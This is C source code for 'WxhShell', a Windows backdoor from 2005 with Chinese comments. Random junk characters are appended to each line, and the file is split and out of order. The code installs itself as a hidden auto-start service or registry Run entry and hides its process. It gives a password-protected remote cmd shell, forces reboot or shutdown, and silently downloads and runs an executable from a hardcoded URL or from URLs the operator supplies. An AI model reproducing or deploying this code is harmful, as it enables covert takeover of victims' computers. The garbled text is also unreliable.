    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zszx@`/3  
    if(Boot(SHUTDOWN)) u)]sJ1p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <:t\P.  
    else { A'R sy6  
    closesocket(wsh); ^K[tO54  
    ExitThread(0); lhODNWi  
    } >~InO^R`5  
    break; I+Cmj]M s0  
    } 7B :aJfxM  
  // 获取shell ?q&mI*j!  
  case 's': { ~[,TLg 6  
    CmdShell(wsh); \{mJO>x  
    closesocket(wsh); {XW>:EU'N  
    ExitThread(0); dPX>A4wp  
    break; :|Ty 0>k  
  } 8{ e 3  
  // 退出 0P >dXd)T  
  case 'x': { g5\B-3{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )ISTb  
    CloseIt(wsh); 4(ZV\}j1  
    break; E/ )+hK&  
    } |g+5rVbd  
  // 离开 U\6DEnII?!  
  case 'q': { =? aB@&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gC 4#!P  
    closesocket(wsh); =,]M$M  
    WSACleanup(); wUndNE   
    exit(1); 8A_(]Q  
    break; /Qy0vAvJ  
        } &[pw LYf7  
  } #1k,t  
  } w:v:znQrW  
Op~+yMef  
  // 提示信息 +(0eOO'\M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @su,w,xLS  
} 6 [E"  
  } &|eQLY #l  
hI 0l2OE  
  return; `!N?#N:b)  
} eNb =`  
4G ?k31,k  
// shell模块句柄 O*7 pg  
int CmdShell(SOCKET sock) *fZ'#C~x  
{ jL&F7itP  
STARTUPINFO si; .+sIjd  
ZeroMemory(&si,sizeof(si)); fJKOuFK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ML-g"wv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _45"Z}Zx  
PROCESS_INFORMATION ProcessInfo; 10(N|2'q  
char cmdline[]="cmd"; PX] v"xf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y!zlte|P  
  return 0; !v=ha%w{  
} PR0]:t)E  
t)h3GM  
// 自身启动模式 RWYA`  
int StartFromService(void) L 'y+^L|X  
{ %0QYkHdFR`  
typedef struct #%~wuCn<K  
{ Yhfk{CI  
  DWORD ExitStatus; 90a= 39kI  
  DWORD PebBaseAddress; %-D2I  
  DWORD AffinityMask; Jh1fM`kB5K  
  DWORD BasePriority; * -)aGL  
  ULONG UniqueProcessId; ZC"p^~U_e[  
  ULONG InheritedFromUniqueProcessId; rnUe/HjH  
}   PROCESS_BASIC_INFORMATION; }I"^WCyH  
C'Q} Z_  
PROCNTQSIP NtQueryInformationProcess; >U z3F7nHi  
_F3:j9^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; raCxHY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %5b2vrg~*  
_ . _'\  
  HANDLE             hProcess; pnWDsC~)  
  PROCESS_BASIC_INFORMATION pbi; TeHR,GB  
09r.0Ks  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^c*'O0y[D  
  if(NULL == hInst ) return 0; CAk.2C/  
n=`UhC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +]G;_/[2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :^K|u^_>P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k7?(I U  
>Tw|SK+3  
  if (!NtQueryInformationProcess) return 0; LaRY#9  
d:3G4g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N7XRk= J  
  if(!hProcess) return 0; {=TD^>?  
L49`=p<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /IODRso/!  
{C [7V{4(%  
  CloseHandle(hProcess); fU,sn5zZ  
>k"/:g^t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t<rhrW75P  
if(hProcess==NULL) return 0; Ef69]{E  
vI4St;  
HMODULE hMod; cJ&%XN  
char procName[255];  QHOem=B  
unsigned long cbNeeded; }{s<!b  
_rOKif?5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YoJN.],gf  
+`zM^'^$  
  CloseHandle(hProcess); xI$B",?(  
jvA]EN6$;~  
if(strstr(procName,"services")) return 1; // 以服务启动 .7" f~%&oP  
X2~>Z^, U  
  return 0; // 注册表启动 k? X7h2  
} U\P ;,o  
IWX%6*Zz  
// 主模块 R["_Mff  
int StartWxhshell(LPSTR lpCmdLine) s-[_%  
{ ULj'DzlfH  
  SOCKET wsl; 0@vSl%I+  
BOOL val=TRUE; Q u{#4qToA  
  int port=0; ki48]#p  
  struct sockaddr_in door; ;CD@RP{$n  
1d,;e:=j  
  if(wscfg.ws_autoins) Install(); > -OQk"o  
ND77(I$3s  
port=atoi(lpCmdLine); adRvAq]mA  
lOYzo  
if(port<=0) port=wscfg.ws_port; n]jZ2{g+   
Q0s!]Dk  
  WSADATA data; 8wMu^3r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D<78Tm x  
] X%T^3%G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \L Gj]mb1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RX3P %xZ  
  door.sin_family = AF_INET; BxVo>r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bS[;d5  
  door.sin_port = htons(port); WW\t<O;z  
*EY^t=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /{QR:8}-Q  
closesocket(wsl); KeFEUHU  
return 1; c0h:Vqk-  
} 9x$Kb7'F  
j+YA/54`  
  if(listen(wsl,2) == INVALID_SOCKET) { KG=h!]Meq  
closesocket(wsl); 6HeZ<.d&  
return 1; OFH!z{*  
} qD0sD2 x  
  Wxhshell(wsl); <_(UAv  
  WSACleanup(); 99)md   
FyY<Vx'yQ  
return 0; y(!J8(yA  
W{'RR.  
} [ed6n@/O@  
A"ApWJ3  
// 以NT服务方式启动 OcWy#,uC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gK7bP'S8H  
{ yCC.j%@  
DWORD   status = 0; !5FZxmUup  
  DWORD   specificError = 0xfffffff; "kH Ft|%@  
o$ disJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TX/Ng+v S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GO3F[ l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =\uQGH  
  serviceStatus.dwWin32ExitCode     = 0; (x"TM),Q  
  serviceStatus.dwServiceSpecificExitCode = 0; &T"X kgU5  
  serviceStatus.dwCheckPoint       = 0; y<#?z 8P  
  serviceStatus.dwWaitHint       = 0; |^ K"#K  
e;_ cC7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e[`u:  
  if (hServiceStatusHandle==0) return; P01o:/}  
kWkAfzf4a  
status = GetLastError(); pyvZ[R 9  
  if (status!=NO_ERROR) f/!^QL{  
{ YSQB*FBz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 39j "z8 n  
    serviceStatus.dwCheckPoint       = 0; !+Ia#(  
    serviceStatus.dwWaitHint       = 0; "'M>%m u  
    serviceStatus.dwWin32ExitCode     = status; u>e4;f`F  
    serviceStatus.dwServiceSpecificExitCode = specificError; MJxTzQE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XnBpL6"T`  
    return; _4H}OGZI  
  } \Pv_5LAo  
Ws_R S%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g(9\r  
  serviceStatus.dwCheckPoint       = 0; N|G=n9p  
  serviceStatus.dwWaitHint       = 0; k{fTq KS%h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M@LI(;  
} 7.G1Q]6/  
Km)5;BQxg  
// 处理NT服务事件,比如:启动、停止 WGxe3(d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ib$*w)4:  
{ >o\s'i[  
switch(fdwControl) AYB =iLa  
{ 0)c9X[sG  
case SERVICE_CONTROL_STOP: \dIc_6/D1  
  serviceStatus.dwWin32ExitCode = 0; <ZF,3~v?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %TO=]>q  
  serviceStatus.dwCheckPoint   = 0; m5m'ByX(*  
  serviceStatus.dwWaitHint     = 0; @O~  
  { m -{t%[Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j_r?4k  
  } "X\|!Mxh  
  return; .I6:iB  
case SERVICE_CONTROL_PAUSE: N k~Xz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !^o(?1  
  break; D4CN%^?  
case SERVICE_CONTROL_CONTINUE: aY/msplC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &}TfJ=gj  
  break; \ 2cI=Qf  
case SERVICE_CONTROL_INTERROGATE: M"q]jeaM  
  break; zjyj,jP  
}; $OE~0Z\0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w"-'  
} Qv3g 4iJ  
8 *Fr=+KN  
// 标准应用程序主函数 -c^/k_n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mw^Di  
{ Fv[. %tW  
2u0dn?9\  
// 获取操作系统版本 >e]46 K  
OsIsNt=GetOsVer(); @iC,0AK4k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ? J;*  
w(lxq:>"  
  // 从命令行安装 /0w?"2-  
  if(strpbrk(lpCmdLine,"iI")) Install();  Bld%d:i  
<Pg]V:=g'  
  // 下载执行文件 x]({Po4  
if(wscfg.ws_downexe) { Tum9Xa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^7l.!s#$b  
  WinExec(wscfg.ws_filenam,SW_HIDE); V;b^b5yZ>  
} ELx?ph-9  
!&~8j7{  
if(!OsIsNt) { MoKGnb  
// 如果时win9x,隐藏进程并且设置为注册表启动 n&?]GyQ  
HideProc(); NNWbbU3wjh  
StartWxhshell(lpCmdLine); GN36:>VWb  
} [zO    
else *fBI),bZa  
  if(StartFromService()) =4RBHe8`  
  // 以服务方式启动 \wmNeGC2  
  StartServiceCtrlDispatcher(DispatchTable); X@,xwsM%tb  
else xg'FC/1LD  
  // 普通方式启动 b";w\H  
  StartWxhshell(lpCmdLine); &Wj %`T{  
.uAO k0^z  
return 0; nwd 02tu  
} F,CQAgx  
`jR= X  
&hmyfH&S  
C9-90,  
=========================================== opz.kP[e,  
\ H#zRSbZ  
A9lnQCsJ  
-I1Ne^DZn4  
xACAtJ'gc  
*Z7W'-  
" f"h{se8C  
F+vgkqs@9  
#include <stdio.h> A"S{W^iL  
#include <string.h> ;4nz'9+  
#include <windows.h> '?+q3lps  
#include <winsock2.h> M*)}F  
#include <winsvc.h> wi]|"\  
#include <urlmon.h> &3VR)Bxn  
/H+j6*}r  
#pragma comment (lib, "Ws2_32.lib") 6 2&E]>A(i  
#pragma comment (lib, "urlmon.lib") gIS<"smOo  
ugg08am!  
#define MAX_USER   100 // 最大客户端连接数 < J=9,tv<  
#define BUF_SOCK   200 // sock buffer m(nGtrQJm  
#define KEY_BUFF   255 // 输入 buffer VsOn j~@  
%n`wU-?lK  
#define REBOOT     0   // 重启 SP9_s7LL  
#define SHUTDOWN   1   // 关机 f>nj9a5  
ZK))91;v  
#define DEF_PORT   5000 // 监听端口 XW6Ewrm=vT  
S?nXpYr  
#define REG_LEN     16   // 注册表键长度 nG&= $7x^  
#define SVC_LEN     80   // NT服务名长度 e!*d(lHKos  
[QA@XBy6  
// 从dll定义API i'|rx2]e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hKb-l`KO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m sS5"Qr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !+& "y K@J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >6 [{\uPK  
[ Y.3miE  
// wxhshell配置信息 W0eb9g`s  
struct WSCFG { $6 \v1  
  int ws_port;         // 监听端口 cYyv iR59#  
  char ws_passstr[REG_LEN]; // 口令 +`l >_u'  
  int ws_autoins;       // 安装标记, 1=yes 0=no #(-V^ T  
  char ws_regname[REG_LEN]; // 注册表键名 xlF$PpRNM  
  char ws_svcname[REG_LEN]; // 服务名 o~H4<ayy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2'tZ9mK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s%"3F<\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  49&p~g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QkUq%}_0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j[Uul#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q PgM<ns  
J3cbDE%^m  
}; Ee;&;Q,O.z  
!vHUe*1a{  
// default Wxhshell configuration B25@6   
struct WSCFG wscfg={DEF_PORT,  )]L:OE  
    "xuhuanlingzhe", 3{ i'8  
    1, -qz;  
    "Wxhshell", #>C.61Fx  
    "Wxhshell", "WR)a`$UR  
            "WxhShell Service", F)g.CDQ!c  
    "Wrsky Windows CmdShell Service", `|e?91@vEa  
    "Please Input Your Password: ", i6M_Gk}  
  1, j@$p(P$  
  "http://www.wrsky.com/wxhshell.exe", $]EG|]"Ns  
  "Wxhshell.exe" 9cud CF  
    }; j+NOT`&  
)| @'}k+  
// 消息定义模块 W*i PseXq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;o }pRC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2i`N26On  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6O8'T`F[  
char *msg_ws_ext="\n\rExit."; TcA+ov>TD  
char *msg_ws_end="\n\rQuit."; F`goYwA%  
char *msg_ws_boot="\n\rReboot..."; P3C|DO4  
char *msg_ws_poff="\n\rShutdown..."; }@Lbv aa  
char *msg_ws_down="\n\rSave to "; *#{[9d  
';4DUh p  
char *msg_ws_err="\n\rErr!"; @/i{By^C  
char *msg_ws_ok="\n\rOK!"; 3OTq  
{t`UV,  
char ExeFile[MAX_PATH]; ~E&drl\  
int nUser = 0; -I4-K%%B`  
HANDLE handles[MAX_USER]; &g;4;)p*8  
int OsIsNt; +ou5cQ^  
"MZj}}l  
SERVICE_STATUS       serviceStatus; .n1]Yk;,1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v`#T)5gl-  
(NrH)+)J!a  
// 函数声明 uSp=,2)  
int Install(void); .6S]\dp7~  
int Uninstall(void); /~*U'.V  
int DownloadFile(char *sURL, SOCKET wsh); xB"o 7,  
int Boot(int flag); w A<JJ_R  
void HideProc(void); uV?[eiezD0  
int GetOsVer(void); mwLp~z%OX  
int Wxhshell(SOCKET wsl); ~_=ohb{  
void TalkWithClient(void *cs); "P;_-i9O  
int CmdShell(SOCKET sock); ,p6X3zY  
int StartFromService(void);  L>Bf}^  
int StartWxhshell(LPSTR lpCmdLine); qg?O+-+  
^pA|ubZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z|+SC \Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xq1 =O  
=B O} hk  
// 数据结构和表定义 AA34JVm]  
SERVICE_TABLE_ENTRY DispatchTable[] = ?z>ZsD  
{ AG6tt  
{wscfg.ws_svcname, NTServiceMain}, A7@5lHMF  
{NULL, NULL} hp?hb-4l  
}; Y%OE1F$6NN  
|pk1pV |  
// 自我安装 rQgRD)_%w  
int Install(void) KrN#>do&<  
{ l%@>)%LA  
  char svExeFile[MAX_PATH]; g@]G [(  
  HKEY key; fnV^&`BB  
  strcpy(svExeFile,ExeFile); }WXO[ +l  
qXmkeidb&W  
// 如果是win9x系统,修改注册表设为自启动 \A'MEd-  
if(!OsIsNt) { Enr8"+.(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @mM'V5_#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +BcJHNIB  
  RegCloseKey(key); 7N0V`&}T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  J5 PXmL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !IlsKMZ  
  RegCloseKey(key); }Jkz0JY~  
  return 0; +:@HJXwK  
    } V~p/P  
  } 1?s]nU  
} 3}{od$3G  
else { R<aF;Rvb5  
*{|{T_H:  
// 如果是NT以上系统,安装为系统服务 t.Hte/,k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #M$Gj>E%4  
if (schSCManager!=0) &`hx   
{ #=r:;,,  
  SC_HANDLE schService = CreateService 1s5F jD?M  
  ( WO{V,<;  
  schSCManager, Kp[ F@A#  
  wscfg.ws_svcname, @C7if lo6  
  wscfg.ws_svcdisp, rMkoE7n  
  SERVICE_ALL_ACCESS, 63R?=u@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yxq+<A4,a  
  SERVICE_AUTO_START, d%tF~|#A%  
  SERVICE_ERROR_NORMAL, c zTr_>  
  svExeFile, lt 74`9,f  
  NULL, .{U@Hva_K  
  NULL, y>}dKbCN  
  NULL, 3 D<s #  
  NULL, #P[d?pY  
  NULL ~"-+BG(5  
  ); ,m<t/@^]  
  if (schService!=0) HmxA2 ~C  
  { ]7SX _:'*  
  CloseServiceHandle(schService); (80 Tbi~+  
  CloseServiceHandle(schSCManager); ^id9_RU   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >jI( ^8?  
  strcat(svExeFile,wscfg.ws_svcname); .Y!] {c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OhUEp g[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iDp'M`(6h  
  RegCloseKey(key); xb`,9.a7  
  return 0; c s0;:H*N*  
    } K/)*P4C-  
  } s^:8bFn9$  
  CloseServiceHandle(schSCManager); C:Tjue{G2  
} J=QuZwt  
} ~zdHJ8tYp  
M6yzqAh  
return 1; Z4+S4cqnh  
} Gwl]sMJ  
'9O4$s1  
// 自我卸载 Skm$:`u;  
int Uninstall(void) <HReh>)[  
{ t^N 92$|  
  HKEY key; VKzY6  
!nX}\lw  
if(!OsIsNt) { ldEZ_g^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @y3u'Y,B  
  RegDeleteValue(key,wscfg.ws_regname);  U~%V;*|4  
  RegCloseKey(key); y^utMH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n.}A :Z  
  RegDeleteValue(key,wscfg.ws_regname); RPH]@  
  RegCloseKey(key); rLt`=bl&&U  
  return 0; 3I|&}+Z6  
  } CHeU`!:  
} p8yn? ~]^  
} ",U>;`  
else { _,S L;*G4|  
014p= W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hYm$Sx(=  
if (schSCManager!=0) gu'Yk  
{ ?fO 2&)r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l| / tKW  
  if (schService!=0) qs$%/  
  { #;4afj:2g  
  if(DeleteService(schService)!=0) { #w2;n@7;X  
  CloseServiceHandle(schService); UkO L7M  
  CloseServiceHandle(schSCManager); 8H0d4~Wg  
  return 0; #2N']VP  
  } aD 33! :y  
  CloseServiceHandle(schService); f7y a0%N  
  } 1J(` kQ)c  
  CloseServiceHandle(schSCManager); IU f1N+-z  
} O\=U'6 @  
} ]{tnNr>mv  
9*AH&/EXth  
return 1; 3*N-@;[>b  
} )v1y P  
\ C^fi}/]  
// 从指定url下载文件 }3G`f> s  
int DownloadFile(char *sURL, SOCKET wsh) Equj[yw%@  
{ ]Q?`|a+i  
  HRESULT hr; Idq &0<I  
char seps[]= "/"; v]"W.<B,  
char *token; 0+a-l[!p  
char *file; x1g0_&F  
char myURL[MAX_PATH]; 5"x=kp>!d  
char myFILE[MAX_PATH]; 8M{-RlR  
.X D.'S  
strcpy(myURL,sURL); &$\B&Hp@  
  token=strtok(myURL,seps); QkEIV<T&)l  
  while(token!=NULL) PL+j;V(<  
  { 8T:?C~"  
    file=token; `y1ne x-0  
  token=strtok(NULL,seps); Bz&6kRPv  
  } X/=*o;":  
,BUDo9h  
GetCurrentDirectory(MAX_PATH,myFILE); k0%*{IVPN  
strcat(myFILE, "\\"); =5 a|'O  
strcat(myFILE, file); qDMVZb-(#  
  send(wsh,myFILE,strlen(myFILE),0); lT`y=qR|  
send(wsh,"...",3,0); aFCma2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xJ2DkZ  
  if(hr==S_OK) {P/5cw  
return 0; MLu@|Xgh  
else bO)voJ<  
return 1; ?9Lp@k~TO  
({"jL*S,q  
} \`FpBE_e)  
2j9+ f{ l  
// 系统电源模块 \Zpg,KOT  
int Boot(int flag) oS2L"#  
{ Yqpe2II7  
  HANDLE hToken; P(n_eIF-f  
  TOKEN_PRIVILEGES tkp; ,Pq@{i#  
nfL-E:n=  
  if(OsIsNt) { 2{- };  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m %=] j<A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +7`7cOqXg  
    tkp.PrivilegeCount = 1; l\Q--  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vr:5+wew  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;ui=7[ Us  
if(flag==REBOOT) { rw9m+q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h(<2{%j  
  return 0; )BJ Z{E*  
} +*'^T)sj/  
else { li4"|T&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AW6"1(D  
  return 0; _J N$zZ{  
} h;+bHrKji  
  } v` G[6Z  
  else { MBjo9P(  
if(flag==REBOOT) { y)Y0SY1\j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8<2 [ F  
  return 0; 5[qCH(6  
} *(w#*,lv  
else { `~+1i5-}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  x%$as;  
  return 0; UtpK"U$XOU  
} 3-%F)@n  
} mO?yrM *  
*# 7 1aZ  
return 1; I<&(Dg|XQ  
} ]"T1clZKd(  
MlVVST  
// win9x进程隐藏模块 GcHy`bQbiX  
void HideProc(void) &B c$8ZR  
{ @D3|Ak1  
v ?OIK=Xm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v"~0 3-SX  
  if ( hKernel != NULL ) f:!b0j  
  { m7n8{J1O2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #]MV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :5 zXW;s  
    FreeLibrary(hKernel); ;vkk$ -  
  } :jP4GCxU|  
K7jz*|2  
return; kbR!iPM-;  
} O"c@x:i  
 Xb'UsQ  
// 获取操作系统版本 uY"Bgz:=d  
int GetOsVer(void) >ow5aOlQ&  
{ hp< NVST  
  OSVERSIONINFO winfo; )RZ:\:c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "6} #65  
  GetVersionEx(&winfo);  fcLVE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p>#QFd"m  
  return 1; t(sQw '>  
  else ;H%T5$:trP  
  return 0; |OVD*A  
} 9yA? 82)E  
8<w8"B.i  
// 客户端句柄模块 ex}6(;7)O  
int Wxhshell(SOCKET wsl) fg8"fbG`:  
{ _1sjsGp>  
  SOCKET wsh; b+DBz}L4  
  struct sockaddr_in client; _R ] qoUw;  
  DWORD myID; /"LcW"2;N  
=4H"&Eu{  
  while(nUser<MAX_USER) UrhSX!g/A>  
{ =u,8(:R]s  
  int nSize=sizeof(client); nxZ[E.-\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dEuts*@ Q  
  if(wsh==INVALID_SOCKET) return 1; bf2B  
\as^z!<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p~!UE/V  
if(handles[nUser]==0) FLE2]cL-  
  closesocket(wsh); m0(]%Kdw  
else qx+ .v2G  
  nUser++; (tLAJ_v!.K  
  } o[ua$+67E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f(r=S Xa*  
;xKPa6`E  
  return 0; K:3u/C`  
} I6B`G Im5  
]g0h7q)79  
// 关闭 socket D+u#!t[q  
void CloseIt(SOCKET wsh) j4fv-{=$  
{ Z<2j#rd  
closesocket(wsh); bWe_<'N  
nUser--; lz-t+LD@ST  
ExitThread(0); ]LE  
} " Om4P|  
c%bGVRhE  
// 客户端请求句柄 U/|;u;H=  
void TalkWithClient(void *cs) #,4CeD|(D,  
{ ER ^#J**  
M ~uX!bDH  
  SOCKET wsh=(SOCKET)cs; `7))[._  
  char pwd[SVC_LEN]; fZH";_"1  
  char cmd[KEY_BUFF]; (r]3tGp  
char chr[1]; R;{y]1u  
int i,j; "iC*Eoz#.  
AdWLab;  
  while (nUser < MAX_USER) { Q#2gjR r  
~ }g"Fe  
if(wscfg.ws_passstr) { c@]_V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "kHQ}#6r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]sbj8  
  //ZeroMemory(pwd,KEY_BUFF); \en}8r9cy  
      i=0; N!u(G  
  while(i<SVC_LEN) { wy1xZQ<5  
 wP <)  
  // 设置超时 x<S?"  
  fd_set FdRead; lg(*:To3B  
  struct timeval TimeOut; =y>g:}G7  
  FD_ZERO(&FdRead); k$u/6lw]IB  
  FD_SET(wsh,&FdRead); *s"dCc  
  TimeOut.tv_sec=8; S5W*,?  
  TimeOut.tv_usec=0; rerl-T<3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <DM /"^*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ')8c  
$GR 3tLzK:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h5x_Vjj  
  pwd=chr[0]; T/A[C  
  if(chr[0]==0xd || chr[0]==0xa) { _I&];WM\  
  pwd=0; .BWCGb2bH  
  break; )sh+cfTCb  
  } RO]Vn]qb  
  i++; 3%g\)Cs  
    } 5$(qnOi  
:dZq!1~t  
  // 如果是非法用户,关闭 socket RP"YSnF3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *G<K@k  
} AWY#t&  
rhLm2q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^ RS?y8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =lE_ Q[P  
sO5~!W>Z  
while(1) { u; c)T t  
*kliI]B F]  
  ZeroMemory(cmd,KEY_BUFF); J<<Ph  
v*Fr #I0U  
      // 自动支持客户端 telnet标准   v(=?ge YLo  
  j=0; P|>pm]>C  
  while(j<KEY_BUFF) { |6M:JI8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y [hTO.LF  
  cmd[j]=chr[0]; aSKLSl't`  
  if(chr[0]==0xa || chr[0]==0xd) {  8>}k5Qu  
  cmd[j]=0; l(o#N'!j4  
  break; tSP)'N<  
  } 4\cJ}p}LZ{  
  j++; MDHTZ9 4\Q  
    } |KV|x ^fJ  
69z,_p$@:  
  // 下载文件 _y,? Cj=u|  
  if(strstr(cmd,"http://")) { 8f\sG:$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c v .R`)l  
  if(DownloadFile(cmd,wsh)) (1t b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b5-WK;  
  else VZ#@7t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !\)9fOLs  
  } $.7Ov|  
